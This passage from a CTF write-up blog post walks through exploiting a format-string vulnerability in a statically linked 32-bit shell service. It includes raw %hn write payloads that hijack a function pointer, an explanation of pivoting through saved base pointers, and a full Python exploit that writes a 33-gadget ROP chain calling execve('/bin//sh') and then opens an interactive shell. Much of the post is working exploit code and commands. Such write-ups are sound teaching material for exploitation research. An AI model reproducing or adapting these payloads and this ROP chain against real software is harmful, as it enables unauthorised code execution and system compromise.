At this point, I thought it made sense to go about acquiring control of the instruction pointer. There is a table of function pointers inside the program that correspond to the commands the shell exposes.

fnptrs

Command strings and function pointers

The program is compiled without PIE and statically such that it doesn’t load anything dynamically. That means we can rely on these pointers and all of the executable code always being at the same address each time the program is run.  Not that it really matters, we could use our read primitives to derandomize the memory space if this wasn’t the case.

I chose to overwrite the quit pointer, I figured we would have no occasion to call it unless we were giving up. It would be pretty sweet if instead of quitting we got a real shell instead.

Crafting commands that write arbitrary values to arbitrary places is not terribly difficult. The %n specifier will dereference a pointer and write the number of bytes that have been printed so far. Writing 4 bytes at once is ill advised because you may end up trying to print 4gb to the screen. Two byte writes are reasonable, the maximum number of things to print is 65535 and in practice it’s often much less. The following combination of commands will crash the shell with EIP=0×41414141

dec 81380a4
echo %16705x%25$hn
dec 81380a6
echo %16705x%25$hn
quit

Very simple, we have overwritten the quit function pointer and then invoked it.

Now, many of these commands take an argument and that argument is passed on the stack at runtime. If we can control the function pointer and the argument we might be able to call a function like system with an argument like /bin/sh. Because the program is statically compiled and stripped finding system is no easy task. We know that system eventually calls execve and usually references the string /bin/sh. When running strings on the program I did not see the string /bin/sh so I went about trying to identify a call to execve. execve is a systemcall. In a statically compiled 32bit application on a modernish Ubuntu operating system will call execve by putting 11(0xb) in EAX the arguments in EBX, ECX and EDX and then execute an int 0×80 instruction.

The int 0×80 instruction in most cases was refactored and became its own function.

Callgate

int 0×80 and ret

Cross-referencing this function you can see most of the system calls being made. None of them place 11 in the EAX register. There are also a handful of inlined int 0×80 instructions but they do not result in execve being called either. This means we need to start thinking about alternative exploitation methods, like ROP.

There is a tool I discovered once a long time ago for identifying ROP gadgets. It’s not my preferred tool because it will only look one instruction back from a RET (except for pops) and won’t consider sequences of instructions ending in jumps or calls but it will attempt to automatically generate a shell spawning ROP chain for you. I hoped this binary would be suitably large for its engine to work with. Sure enough it was able to stitch together a 33 gadget chain resulting in a shell being spawned. Now all that needs to be done is getting ESP pointing at it.

I don’t like very many gadget searching tools enough to pimp them out on the ISIS blog but I the ones I tried did not yield very many gadgets that looked promising. There was a pop ESP I tried to use briefly, it would have been perfect if there was a pop before it but alas, since when we overwrite the quit function pointer when we get control of execution there is a return address on the stack. Setting the stack pointer to the .text segment generally leads to disastrous results. Overwriting function pointers doesn’t seem to be the way to go, time to get a little more creative.

Did you notice when we were leaking values from the stack that we also leaked some stack addresses?

target_leak

Stack address disclosure

Many but not all of these stack addresses are actually saved base pointers. Saved base pointers on the stacks of well formed c/c++ programs are interesting in that by a happy coincidence point to other saved base pointers. That means we can modify a saved base pointer on the stack by using another saved base pointer as a pointer to it. To understand why this is beneficial remember what the tail of a function looks like.

mov esp,ebp
pop ebp
ret

Now when the the return instruction executes we will have control of the base pointer, not very exciting right? Consider what happens if we return near the end of another function. When the caller returns the basepointer that we control gets moved into the stack pointer, a pop occurs and then a ret. If we can precisely control the stack pointer and account for the pop before the return we can reliably execute a ROP chain.

Proof

Uncontrolled control flow hijack

Here we have written the lower two bytes of a saved base pointer with zero’s using the %6$hn format string. When we issue the quit command the programs stack is unwound sufficiently to let the clobbered base pointer transfer to the stack pointer. The stack pointer as you can see is resting at 0xffff0008. The low byte is 0×08 because the program has poped twice, once into EBP with the value zero and once into EIP with the value zero.

Controlling execution is now very easy. We can leak the address of the stack and calculate an address to write our ROP chain. We can then write it two bytes at a time using the uncontrolled format string vulnerability. Then we can clobber the lower two bytes of a saved base pointer. Finally we can trigger the execution of our ROP payload by issuing the quit command. Keep in mind that we are no longer overwriting quit‘s function pointer. We are allowing the stack to unwind as it normally would as the program prepares to exit.

#Evan Jensen (wont)
#07072013

from isis import *
from struct import pack
from time import sleep
chal=('localhost',2323)
s=getSocket(chal)

p=''
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138080) # @ .data
p += pack("<I", 0x0806d113) # pop eax ; ret
p += "/bin" # /bin
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138084) # @ .data + 4
p += pack("<I", 0x0806d113) # pop eax ; ret
p += "//sh" # //sh
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x08048c93) # xor eax,eax ; ret
p += pack("<I", 0x080d762d) # mov DWORD PTR [edx],eax ; ret
p += pack("<I", 0x08048211) # pop ebx ; ret
p += pack("<I", 0x08138080) # @ .data
p += pack("<I", 0x08126ad1) # pop ecx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x080a71ba) # pop edx ; ret
p += pack("<I", 0x08138088) # @ .data + 8
p += pack("<I", 0x08048c93) # xor eax,eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0805aceb) # inc eax ; ret
p += pack("<I", 0x0806cead) # int 0x80

halfs=[unpack("<H",i)[0] for i in chunk(p,2)]

def printfWrite(halfs,starting):
	ret=''
	starting=hex(starting)[2:].replace('L','')
	for i in halfs:
		ret+='dec %s\n'% starting
		ret+='echo %'+str(i).zfill(5)+'x%25$hn\n'
		starting=hex(int(starting,16)+2)[2:].replace('L','')
	return ret

def e():
	junk=s.recv(0x1000)
	s.send('echo %6$x\n')
	sleep(.2)
	addr=s.recv(0x1000).splitlines()[1]
	addr=int(addr,16)&0xffff0000 #begining of page
	print "[*]write to %s" % hex(addr+4)
	corruption=printfWrite(halfs,addr+4).splitlines()
	for i in corruption:
		s.send(i+'\n')
		if 'dec' in i:
			print '[*]writing %s' % i.split(' ')[1]
		time.sleep(.2)
		junk=s.recv(0x100000)
	sleep(1)
	#stomp on old ebp. Just the lower two bytes
	#This will let ESP eventually take the address of our rop chain
	s.send("echo %6$hn\n")
	print "[*]rop"
	s.send('quit\n') #unwind that stack you dirty tramp
	print "[*]clean"
	sleep(1)
	junk=s.recv(0x1000)
	print "[*]shell"
	shell(s)

e()

Just a note as you read this code, the getSocket() and shell() functions are located inside of the ISIS library which can be found here. You will also notice that this exploit connects to localhost on port 2323 but the program does not do anything with sockets. That is because I’m running the program with socat, for details look in the ISIS CTF-Solutions repository on github. Feel free to pull the repo, run handler.sh and then the exploit!

Posted in CTF, Exploitation Techniques | Tagged , , , , , | 3 Comments